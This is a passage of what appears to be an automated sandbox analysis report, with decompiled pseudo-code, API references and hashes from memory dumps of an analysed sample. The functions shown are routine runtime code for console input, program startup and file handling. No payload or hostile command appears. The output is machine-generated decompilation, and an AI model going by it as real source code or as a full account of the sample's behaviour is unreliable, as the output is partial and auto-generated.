													_t166 = E0042065D();
												}
											} else {
												_t209 = _t208 >> 1;
												__eflags = _t208 >> 1;
												_t166 = E00420506(_t208 >> 1, _t208 >> 1, _a4, _t198, _t231, _a8, _t209);
											}
											_t231 = _t166;
										}
										goto L41;
									}
									_t210 = _v20;
									_t168 =  *((intOrPtr*)(0x44c9f8 + _v12 * 4));
									__eflags =  *((char*)(_t210 + _t168 + 0x28));
									if( *((char*)(_t210 + _t168 + 0x28)) >= 0) {
										goto L43;
									}
									_t170 = GetConsoleMode(_v28,  &_v40);
									__eflags = _t170;
									if(_t170 == 0) {
										goto L43;
									}
									__eflags = _v5 - 2;
									if(_v5 != 2) {
										goto L44;
									}
									_t198 = _v16;
									_t172 = ReadConsoleW(_v28, _v16, _t197 >> 1,  &_v24, 0);
									__eflags = _t172;
									if(_t172 != 0) {
										_t208 = _a12;
										_t231 = _t230 + _v24 * 2;
										goto L47;
									}
									_t160 = GetLastError();
									goto L39;
								} else {
									 *((intOrPtr*)(E00420E3C())) = 0xc;
									 *(E00420E29()) = 8;
									L40:
									_t231 = _t230 | 0xffffffff;
									__eflags = _t231;
									L41:
									E0041072C(_t235);
									_t135 = _t231;
									goto L63;
								}
							}
						}
						__eflags = _t143 == 1;
						if(_t143 == 1) {
							_t191 =  !_t218;
							__eflags = 1 & _t191;
							if((1 & _t191) != 0) {
								_t155 = _v24;
								_t197 = _t218;
								_t220 = _a8;
								_v16 = _t220;
								goto L22;
							}
							goto L14;
						} else {
							_t197 = _t218;
							_t220 = _a8;
							_v16 = _t220;
							goto L23;
						}
					}
					L6:
					 *(E00420E29()) =  *_t139 & 0x00000000;
					 *((intOrPtr*)(E00420E3C())) = 0x16;
					goto L61;
				} else {
					 *(E00420E29()) =  *_t192 & 0x00000000;
					_t134 = E00420E3C();
					 *_t134 = 9;
					L62:
					_t135 = _t134 | 0xffffffff;
					L63:
					return _t135;
				}
			}

0x004207f1
0x004207f4
0x004207fc
0x00420816
0x00420818
0x00420b6c
0x00420b6c
0x00420b71
0x00420b71
0x00420b79
0x00420b7f
0x00420b7f
0x00000000
0x00420b7f
0x0042081e
0x00420824
0x00000000
0x00000000
0x0042082e
0x00420834
0x00420839
0x0042083d
0x00420840
0x00420847
0x0042084a
0x0042084d
0x00420851
0x00420854
0x00420856
0x00000000
0x00000000
0x0042085c
0x0042085f
0x00420865
0x0042087f
0x00420881
0x00420b68
0x00420b68
0x00000000
0x00420b68
0x00420887
0x0042088b
0x00000000
0x00000000
0x00420891
0x00420895
0x00000000
0x00000000
0x0042089c
0x004208a0
0x004208a3
0x004208a6
0x004208ab
0x004208ab
0x004208ae
0x004208f5
0x004208f7
0x004208f9
0x004208ca
0x004208cf
0x004208d6
0x004208dc
0x00000000
0x004208fb
0x004208fd
0x004208ff
0x00420900
0x00420902
0x00420904
0x00420904
0x0042090e
0x00420910
0x00420917
0x0042091c
0x0042091f
0x00420922
0x00420924
0x0042094a
0x00420952
0x00420955
0x0042095c
0x00420963
0x00420967
0x00420969
0x00420970
0x00420970
0x00420973
0x00420973
0x00420976
0x00420978
0x0042097b
0x0042097e
0x00420983
0x00420986
0x0042098f
0x00420993
0x00420996
0x00420998
0x0042099e
0x004209a0
0x004209a9
0x004209aa
0x004209ac
0x004209b0
0x004209b1
0x004209b5
0x004209bf
0x004209c4
0x004209c7
0x004209d6
0x004209da
0x004209dd
0x004209df
0x004209e1
0x004209e3
0x004209e8
0x004209ea
0x004209ee
0x004209ef
0x004209f5
0x004209ff
0x00420a00
0x00420a05
0x00420a08
0x00420a17
0x00420a1b
0x00420a1e
0x00420a20
0x00420a22
0x00420a24
0x00420a26
0x00420a2c
0x00420a2c
0x00420a2d
0x00420a3c
0x00420a3d
0x00420a3d
0x00420a24
0x00420a20
0x00420a08
0x004209e3
0x004209df
0x004209c7
0x004209a0
0x00420998
0x00420a43
0x00420a49
0x00420a4b
0x00420abc
0x00420abc
0x00420ac0
0x00420ac7
0x00420ace
0x00420ad4
0x00420ad6
0x00420b34
0x00420b34
0x00420b3c
0x00420b3d
0x00420b3f
0x00420b58
0x00420b5b
0x00420a98
0x00420a99
0x00000000
0x00420a9e
0x00420b61
0x00000000
0x00420b61
0x00420b46
0x00420b51
0x00000000
0x00420b51
0x00420ad8
0x00420adb
0x00420ade
0x00000000
0x00000000
0x00420ae0
0x00420ae0
0x00420ae3
0x00420ae6
0x00420ae9
0x00420af0
0x00420af5
0x00420af7
0x00420afb
0x00420b16
0x00420b1a
0x00420b1b
0x00420b1e
0x00420b21
0x00420b2d
0x00420b23
0x00420b23
0x00420b23
0x00420afd
0x00420afd
0x00420afd
0x00420b08
0x00420b0d
0x00420b10
0x00420b10
0x00000000
0x00420af5
0x00420a50
0x00420a53
0x00420a5a
0x00420a5f
0x00000000
0x00000000
0x00420a68
0x00420a6e
0x00420a70
0x00000000
0x00000000
0x00420a72
0x00420a76
0x00000000
0x00000000
0x00420a81
0x00420a88
0x00420a8e
0x00420a90
0x00420ab4
0x00420ab7
0x00000000
0x00420ab7
0x00420a92
0x00000000
0x00420926
0x0042092b
0x00420936
0x00420a9f
0x00420a9f
0x00420a9f
0x00420aa2
0x00420aa3
0x00420aa9
0x00000000
0x00420aab
0x00420924
0x004208f9
0x004208b0
0x004208b3
0x004208c4
0x004208c6
0x004208c8
0x004208e6
0x004208e9
0x004208eb
0x004208ee
0x00000000
0x004208ee
0x00000000
0x004208b5
0x004208b5
0x004208b7
0x004208ba
0x00000000
0x004208ba
0x004208b3
0x00420867
0x0042086c
0x00420874
0x00000000
0x004207fe
0x00420803
0x00420806
0x0042080b
0x00420b84
0x00420b84
0x00420b87
0x00420b8a
0x00420b8a

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eaaf7dfa0add38774a94ec6274f1728a4918b501ac427f52a4c99bbcaa12c69b
Instruction ID: 26825933e59cda457d30337bc96510de6499cbecc203a4f23eadf1efa2dddb9b
Opcode Fuzzy Hash: eaaf7dfa0add38774a94ec6274f1728a4918b501ac427f52a4c99bbcaa12c69b
Instruction Fuzzy Hash: 6DB126B4B00219AFDB11DF99E880BAE7BF1AF55304F94415AE40467393C7789D82CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 00402B24 Relevance: 9.1, APIs: 6, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			_entry_(void* __ecx, void* __edx, void* __edi, void* __eflags) {
				void* _t11;
				intOrPtr _t13;
				intOrPtr* _t18;
				intOrPtr* _t19;
				void* _t21;
				char _t22;
				char _t28;
				intOrPtr _t30;
				void* _t32;
				char _t35;
				void* _t36;
				intOrPtr* _t40;
				void* _t48;
				intOrPtr* _t51;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				void* _t56;

				_t48 = __edi;
				_t47 = __edx;
				_t36 = __ecx;
				E00403097();
				E00403400(__edx, 0x448100, 0x14);
				_t11 = E00402E77(_t36, __edx, 1); // executed
				if(_t11 != 0) {
					L3:
					_t35 = 0;
					 *((char*)(_t56 - 0x19)) = 0;
					 *(_t56 - 4) =  *(_t56 - 4) & 0x00000000;
					 *((char*)(_t56 - 0x24)) = E00402D7A();
					_t13 =  *0x44bbe0; // 0x2
					if(_t13 == 1) {
						goto L2;
					}
					if(_t13 != 0) {
						_t35 = 1;
						 *((char*)(_t56 - 0x19)) = 1;
						L9:
						E00402FD1( *((intOrPtr*)(_t56 - 0x24)));
						_pop(_t40);
						_t51 = E004031A7();
						__eflags =  *_t51;
						if(__eflags != 0) {
							_t30 = E00402F47(__eflags);
							_t40 = _t51;
							__eflags = _t30;
							if(_t30 != 0) {
								_t55 =  *_t51;
								_t40 = _t55;
								L004033F0();
								 *_t55(0, 2, 0);
							}
						}
						_t52 = E004031AD();
						__eflags =  *_t52;
						if(__eflags != 0) {
							_t28 = E00402F47(__eflags);
							_t40 = _t52;
							__eflags = _t28;
							if(_t28 != 0) {
								_push( *_t52);
								E0040E041(_t35, _t47, 0, _t52);
								_pop(_t40);
							}
						}
						_t18 = E0040E2FC();
						_t19 = E0040E2F6();
						_push(E0040DBF2());
						_t21 = E004024CF(_t20, _t40, _t47,  *_t19,  *_t18); // executed
						_t54 = _t21;
						_t22 = E00403301();
						__eflags = _t22;
						if(_t22 == 0) {
							E0040E067(_t54);
						}
						__eflags = _t35;
						if(_t35 == 0) {
							E0040E015();
						}
						E00402FEE(_t40, 1, 0);
						 *(_t56 - 4) = 0xfffffffe;
						L20:
						return E00403446(_t47);
					}
					 *0x44bbe0 = 1;
					_t32 = E0040DC3B(0x4403ac, 0x4403c8); // executed
					if(_t32 == 0) {
						E0040DC10(0x4403a0, 0x4403a8); // executed
						 *0x44bbe0 = 2;
						goto L9;
					}
					 *(_t56 - 4) = 0xfffffffe;
					goto L20;
				} else {
					L2:
					E004031B3(_t47, _t48, 7);
					goto L3;
				}
			}

0x00402b24
0x00402b24
0x00402b24
0x00402b24
0x00402b35
0x00402b3c
0x00402b44
0x00402b4d
0x00402b4d
0x00402b4f
0x00402b52
0x00402b5b
0x00402b5e
0x00402b68
0x00000000
0x00000000
0x00402b6c
0x00402bb7
0x00402bb9
0x00402bbc
0x00402bbf
0x00402bc4
0x00402bca
0x00402bce
0x00402bd0
0x00402bd3
0x00402bd8
0x00402bd9
0x00402bdb
0x00402be1
0x00402be3
0x00402be5
0x00402bea
0x00402bea
0x00402bdb
0x00402bf1
0x00402bf3
0x00402bf5
0x00402bf8
0x00402bfd
0x00402bfe
0x00402c00
0x00402c02
0x00402c04
0x00402c09
0x00402c09
0x00402c00
0x00402c0a
0x00402c11
0x00402c1d
0x00402c21
0x00402c29
0x00402c2b
0x00402c30
0x00402c32
0x00402c35
0x00402c35
0x00402c3a
0x00402c3c
0x00402c3e
0x00402c3e
0x00402c47
0x00402c4e
0x00402c96
0x00402c9b
0x00402c9b
0x00402b6e
0x00402b7e
0x00402b87
0x00402ba4
0x00402bab
0x00000000
0x00402bab
0x00402b89
0x00000000
0x00402b46
0x00402b46
0x00402b48
0x00000000
0x00402b48

APIs

___security_init_cookie.LIBCMT ref: 00402B24
___scrt_fastfail.LIBCMT ref: 00402B48

Part of subcall function 004031B3: IsProcessorFeaturePresent.KERNEL32(00000017,?,00000000), ref: 004031C0
Part of subcall function 004031B3: IsDebuggerPresent.KERNEL32(?,?,?,00000017,?,00000000), ref: 00403288
Part of subcall function 004031B3: SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,00000017,?,00000000), ref: 004032A7
Part of subcall function 004031B3: UnhandledExceptionFilter.KERNEL32(?,?,?,?,00000017,?,00000000), ref: 004032B1

___scrt_release_startup_lock.LIBCMT ref: 00402BBF
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 00402BD3
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 00402BF8
___scrt_uninitialize_crt.LIBCMT ref: 00402C47

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled___scrt_is_nonwritable_in_current_image$DebuggerFeatureProcessor___scrt_fastfail___scrt_release_startup_lock___scrt_uninitialize_crt___security_init_cookie
String ID:
API String ID: 4205019024-0
Opcode ID: 1685c0a446860bc5f38a233ea0525e4c30c1580459a1ec312a630d70e01dee35
Instruction ID: 3944e74404bc800a49682baa2dbb88a24ec57f21ebed9b38b5c03b0c1e873950
Opcode Fuzzy Hash: 1685c0a446860bc5f38a233ea0525e4c30c1580459a1ec312a630d70e01dee35
Instruction Fuzzy Hash: A4314F315486019AEA207F729E0BB5E3B649F12369F20007FF4807B2D3CEFD5A01925D

Uniqueness

Uniqueness Score: -1.00%

Function 0042E1EC Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0042E1EC(WCHAR* _a4, char _a8, long _a16, long _a20, long _a24, signed int _a28, signed int _a32) {
				void* _t10;

				_t4 =  &_a8; // 0x42e774
				_t10 = CreateFileW(_a4, _a16, _a24,  *_t4, _a20, _a28 | _a32, 0); // executed
				return _t10;
			}

0x0042e1fd
0x0042e209
0x0042e210

APIs

CreateFileW.KERNELBASE(00000000,?,?,tB,?,?,00000000,?,0042E774,?,0000000C), ref: 0042E209

Strings

tB, xrefs: 0042E1FD

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: CreateFile
String ID: tB
API String ID: 823142352-1138207000
Opcode ID: 742c9c0143e8768aaf01108c320ff57b58abe72665de80c4b387ac2732fe03e7
Instruction ID: 4e73bb688b8081490096ad3c9d53a3bf8698f265b56bb7b08b5c7b2d7136e7c2
Opcode Fuzzy Hash: 742c9c0143e8768aaf01108c320ff57b58abe72665de80c4b387ac2732fe03e7
Instruction Fuzzy Hash: 91D06C3200020DBBDF028F84DD06EDA3BAAFB48714F018010BA1856020C732E831AB94

Uniqueness

Uniqueness Score: -1.00%

Function 00420C63 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00420C63() {
				signed int _t20;
				signed int _t22;
				long _t23;
				signed char _t25;
				void* _t28;
				signed int _t31;
				void* _t33;

				_t31 = 0;
				do {
					_t20 = _t31 & 0x0000003f;
					_t33 = _t20 * 0x38 +  *((intOrPtr*)(0x44c9f8 + (_t31 >> 6) * 4));
					if( *(_t33 + 0x18) == 0xffffffff ||  *(_t33 + 0x18) == 0xfffffffe) {
						 *(_t33 + 0x28) = 0x81;
						_t22 = _t31;
						if(_t22 == 0) {
							_push(0xfffffff6);
						} else {
							if(_t22 == 1) {
								_push(0xfffffff5);
							} else {
								_push(0xfffffff4);
							}
						}
						_pop(_t23);
						_t28 = GetStdHandle(_t23);
						if(_t28 == 0xffffffff || _t28 == 0) {
							L16:
							 *(_t33 + 0x28) =  *(_t33 + 0x28) | 0x00000040;
							 *(_t33 + 0x18) = 0xfffffffe;
							_t20 =  *0x44c9e8; // 0x6af540
							if(_t20 != 0) {
								_t20 =  *(_t20 + _t31 * 4);
								 *(_t20 + 0x10) = 0xfffffffe;
							}
							goto L18;
						} else {
							_t25 = GetFileType(_t28); // executed
							if(_t25 == 0) {
								goto L16;
							} else {
								_t20 = _t25 & 0x000000ff;
								 *(_t33 + 0x18) = _t28;
								if(_t20 != 2) {
									if(_t20 == 3) {
										 *(_t33 + 0x28) =  *(_t33 + 0x28) | 0x00000008;
									}
								} else {
									 *(_t33 + 0x28) =  *(_t33 + 0x28) | 0x00000040;
								}
								goto L18;
							}
						}
					} else {
						 *(_t33 + 0x28) =  *(_t33 + 0x28) | 0x00000080;
					}
					L18:
					_t31 = _t31 + 1;
				} while (_t31 != 3);
				return _t20;
			}

0x00420c68
0x00420c6a
0x00420c6e
0x00420c77
0x00420c82
0x00420c92
0x00420c96
0x00420c99
0x00420cab
0x00420c9b
0x00420c9e
0x00420ca7
0x00420ca0
0x00420ca3
0x00420ca3
0x00420c9e
0x00420cad
0x00420cb5
0x00420cba
0x00420ce7
0x00420ce7
0x00420ceb
0x00420cf2
0x00420cf9
0x00420cfb
0x00420cfe
0x00420cfe
0x00000000
0x00420cc0
0x00420cc1
0x00420cc9
0x00000000
0x00420ccb
0x00420ccb
0x00420cce
0x00420cd4
0x00420cdf
0x00420ce1
0x00420ce1
0x00420cd6
0x00420cd6
0x00420cd6
0x00000000
0x00420cd4
0x00420cc9
0x00420c8a
0x00420c8a
0x00420c8a
0x00420d05
0x00420d05
0x00420d06
0x00420d12

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00420CAF
GetFileType.KERNELBASE(00000000), ref: 00420CC1

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 5c0e7a56566f6541489c76f998fffc36e02b4f631b65aae2d40f13ea36636c50
Instruction ID: c7e7c8a24bd5474ce2993d3a7dc1774a0c51339f0ef49f86f47013b9af9784a9
Opcode Fuzzy Hash: 5c0e7a56566f6541489c76f998fffc36e02b4f631b65aae2d40f13ea36636c50
Instruction Fuzzy Hash: 9B11B4B13147618AC7384E3FAC886237AD5A756330B78072BD5F6866F7C638D882D60D

Uniqueness

Uniqueness Score: -1.00%

Function 0041F65C Relevance: 3.1, APIs: 2, Instructions: 52
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E0041F65C(void* __ecx, void* __eflags, signed int _a4, union _LARGE_INTEGER _a8, union _LARGE_INTEGER* _a12, intOrPtr _a16, intOrPtr _a20) {
				signed int _v8;
				void* _v12;
				void* _t19;
				int _t20;
				signed int _t23;
				intOrPtr _t26;
				signed int _t37;
				signed int _t38;
				signed int _t41;

				_t41 = _a4;
				_push(_t37);
				_t19 = E004267AD(_t41);
				_t38 = _t37 | 0xffffffff;
				if(_t19 != _t38) {
					_push(_a16);
					_t20 = SetFilePointerEx(_t19, _a8, _a12,  &_v12); // executed
					if(_t20 != 0) {
						if((_v12 & _v8) == _t38) {
							goto L2;
						} else {
							_t23 = _v12;
							_t44 = (_t41 & 0x0000003f) * 0x38;
							 *( *((intOrPtr*)(0x44c9f8 + (_t41 >> 6) * 4)) + _t44 + 0x28) =  *( *((intOrPtr*)(0x44c9f8 + (_t41 >> 6) * 4)) + 0x28 + (_t41 & 0x0000003f) * 0x38) & 0x000000fd;
						}
					} else {
						E00420E05(GetLastError(), _a20);
						goto L2;
					}
				} else {
					_t26 = _a20;
					 *((char*)(_t26 + 0x1c)) = 1;
					 *((intOrPtr*)(_t26 + 0x18)) = 9;
					L2:
					_t23 = _t38;
				}
				return _t23;
			}

0x0041f664
0x0041f667
0x0041f669
0x0041f66e
0x0041f674
0x0041f68a
0x0041f698
0x0041f6a0
0x0041f6bf
0x00000000
0x0041f6c1
0x0041f6c1
0x0041f6cc
0x0041f6d6
0x0041f6d6
0x0041f6a2
0x0041f6ac
0x00000000
0x0041f6b2
0x0041f676
0x0041f676
0x0041f679
0x0041f67d
0x0041f684
0x0041f684
0x0041f686
0x0041f6de

APIs

SetFilePointerEx.KERNELBASE(00000000,?,?,?,00000002,?,00000000,00000000,00000000,?,0041F595,?,?,?,00000002,00000000), ref: 0041F698
GetLastError.KERNEL32(00000000,?,0041F595,?,?,?,00000002,00000000,00448550,00000018,0041F88A,?,?,?,00000002,00000000), ref: 0041F6A5

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: e1bd3e1da9b1340233405164bc92bee7649c40a6c4144de90cdc5f0cdff8d2db
Instruction ID: 456bb4f98356b41642f42013b8bc71f142371dcaa3365eba6ea36069b6e4943f
Opcode Fuzzy Hash: e1bd3e1da9b1340233405164bc92bee7649c40a6c4144de90cdc5f0cdff8d2db
Instruction Fuzzy Hash: 6B012632610215AFCF058F59DC05CDE3B29DB85324B25021EF8119B2A0EA75DD93CBD8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A7DB Relevance: 1.7, APIs: 1, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E0040A7DB(signed int __edx, void* __esi, intOrPtr* _a4, signed int _a8) {
				signed int _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int _t70;
				signed int _t71;
				signed char _t73;
				signed int _t75;
				signed char _t82;
				signed int _t85;
				signed char _t86;
				signed int _t87;
				intOrPtr _t88;
				void* _t89;
				intOrPtr _t90;
				signed int _t93;
				signed int _t97;
				signed int _t99;
				intOrPtr _t102;
				signed int _t103;
				signed int _t104;
				intOrPtr* _t105;
				signed char _t106;
				signed int _t107;
				signed int _t109;
				signed int _t112;
				signed int _t117;
				intOrPtr* _t118;
				void* _t121;
				void* _t122;

				_t116 = __esi;
				_t108 = __edx;
				if(_a4 != 0) {
					_t70 = E0041F218(_a4);
					_t102 = _a4;
					_t97 = _t70;
					__eflags =  *(_t102 + 8);
					if( *(_t102 + 8) < 0) {
						 *(_t102 + 8) = 0;
					}
					_t71 = E0041F871(_t97, 0, 0, 1, _a8); // executed
					_t103 = _t108;
					_t122 = _t121 + 0x14;
					_v8 = _t103;
					_t117 = _t71;
					_v28 = _t117;
					__eflags = _t103;
					if(__eflags > 0) {
						L7:
						_t73 =  *(_a4 + 0xc);
						__eflags = _t73 & 0x000000c0;
						if((_t73 & 0x000000c0) != 0) {
							_t75 = _t97 >> 6;
							_t104 = (_t97 & 0x0000003f) * 0x38;
							_v16 = _t75;
							_v20 = _t104;
							_t105 = _a4;
							_v12 =  *((intOrPtr*)(_t104 +  *((intOrPtr*)(0x44c9f8 + _t75 * 4)) + 0x29));
							_t106 =  *(_t105 + 0xc);
							asm("cdq");
							_t99 =  *_t105 -  *((intOrPtr*)(_t105 + 4));
							_v24 = _t108;
							__eflags = _t106 & 0x00000003;
							if((_t106 & 0x00000003) == 0) {
								_t82 =  *(_a4 + 0xc) >> 2;
								__eflags = _t82 & 0x00000001;
								if((_t82 & 0x00000001) != 0) {
									L18:
									_t118 = _a4;
									_t103 = _v24;
									L19:
									_t109 = _v28;
									__eflags = _t109 | _v8;
									if((_t109 | _v8) == 0) {
										L25:
										_t85 = _t99;
										L26:
										goto L27;
									}
									_t86 =  *(_t118 + 0xc);
									__eflags = _t86 & 0x00000001;
									if((_t86 & 0x00000001) == 0) {
										__eflags = _v12 - 1;
										if(_v12 == 1) {
											_t87 = E0043A110(_t99, _t103, 2, 0);
											_t103 = _t109;
											_t99 = _t87;
											_t109 = _v28;
										}
										_t99 = _t99 + _t109;
										asm("adc ecx, [ebp-0x4]");
										goto L25;
									}
									_t85 = E0040AAD1(_a4, _t109, _v8, _t99, _t103, _a8);
									goto L27;
								}
								_t71 = _a8;
								 *((char*)(_t71 + 0x1c)) = 1;
								 *((intOrPtr*)(_t71 + 0x18)) = 0x16;
								goto L17;
							}
							__eflags = _v12 - 1;
							_t107 = _v16;
							_t112 = _v20;
							if(_v12 != 1) {
								L13:
								_t88 =  *((intOrPtr*)(0x44c9f8 + _t107 * 4));
								__eflags =  *((char*)(_t112 + _t88 + 0x28));
								if( *((char*)(_t112 + _t88 + 0x28)) >= 0) {
									goto L18;
								}
								_t118 = _a4;
								_t89 = E0040AE3B( *((intOrPtr*)(_t118 + 4)),  *_t118, _v12);
								_t103 = _v24;
								_t122 = _t122 + 0xc;
								_t99 = _t99 + _t89;
								asm("adc ecx, edx");
								goto L19;
							}
							_t90 =  *((intOrPtr*)(0x44c9f8 + _t107 * 4));
							__eflags =  *(_t112 + _t90 + 0x2d) & 0x00000002;
							if(( *(_t112 + _t90 + 0x2d) & 0x00000002) == 0) {
								goto L13;
							}
							_t85 = E0040AC90(_t99, 0, _t117, _a4, _t117, _v8, _a8);
							goto L27;
						}
						asm("cdq");
						_t85 = _t117 -  *((intOrPtr*)(_a4 + 8));
						asm("sbb ecx, edx");
						goto L26;
					} else {
						if(__eflags < 0) {
							L17:
							_t85 = _t71 | 0xffffffff;
							L27:
							return _t85;
						}
						__eflags = _t117;
						if(_t117 < 0) {
							goto L17;
						}
						goto L7;
					}
				}
				_t93 = _a8;
				 *((char*)(_t93 + 0x1c)) = 1;
				 *((intOrPtr*)(_t93 + 0x18)) = 0x16;
				return E0041F0ED(0, __esi, 0, 0, 0, 0, 0, _t93) | 0xffffffff;
			}

0x0040a7db
0x0040a7db
0x0040a7e8
0x0040a816
0x0040a81c
0x0040a821
0x0040a823
0x0040a826
0x0040a828
0x0040a828
0x0040a834
0x0040a839
0x0040a83b
0x0040a83e
0x0040a841
0x0040a843
0x0040a846
0x0040a848
0x0040a858
0x0040a85b
0x0040a85f
0x0040a861
0x0040a87a
0x0040a87d
0x0040a880
0x0040a88a
0x0040a891
0x0040a894
0x0040a89c
0x0040a89f
0x0040a8a0
0x0040a8a2
0x0040a8a6
0x0040a8a9
0x0040a90d
0x0040a910
0x0040a912
0x0040a929
0x0040a929
0x0040a92c
0x0040a92f
0x0040a92f
0x0040a934
0x0040a937
0x0040a973
0x0040a973
0x0040a975
0x00000000
0x0040a975
0x0040a939
0x0040a93d
0x0040a93f
0x0040a957
0x0040a95b
0x0040a962
0x0040a967
0x0040a969
0x0040a96b
0x0040a96b
0x0040a96e
0x0040a970
0x00000000
0x0040a970
0x0040a94d
0x00000000
0x0040a952
0x0040a914
0x0040a917
0x0040a91b
0x00000000
0x0040a91b
0x0040a8ab
0x0040a8af
0x0040a8b2
0x0040a8b5
0x0040a8dc
0x0040a8dc
0x0040a8e3
0x0040a8e8
0x00000000
0x00000000
0x0040a8ea
0x0040a8f5
0x0040a8fa
0x0040a8fd
0x0040a900
0x0040a902
0x00000000
0x0040a902
0x0040a8b7
0x0040a8be
0x0040a8c3
0x00000000
0x00000000
0x0040a8cf
0x00000000
0x0040a8d4
0x0040a869
0x0040a86c
0x0040a86e
0x00000000
0x0040a84a
0x0040a84a
0x0040a922
0x0040a922
0x0040a977
0x00000000
0x0040a978
0x0040a850
0x0040a852
0x00000000
0x00000000
0x00000000
0x0040a852
0x0040a848
0x0040a7ea
0x0040a7f5
0x0040a7f9
0x00000000

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 124943c9c051efc4893f7da4af96832bbf8e139f68d026f43b9b87fe6dc6a7f0
Instruction ID: 454809f667ddd57ac48815e9889ccc30603dea6624be2f852c6ea1dc2b89aad5
Opcode Fuzzy Hash: 124943c9c051efc4893f7da4af96832bbf8e139f68d026f43b9b87fe6dc6a7f0
Instruction Fuzzy Hash: AD5106B4A00204AFCF10DF58C885EAE7BB1EF49314F25816AF8486B392C335DD52CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00421509 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 72%

			E00421509(void* __ecx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				char _v8;
				char _v12;
				void* _v16;
				intOrPtr _v20;
				char _v32;
				void* _t26;

				E00421074(__ecx,  &_v32, _a8);
				asm("movsd");
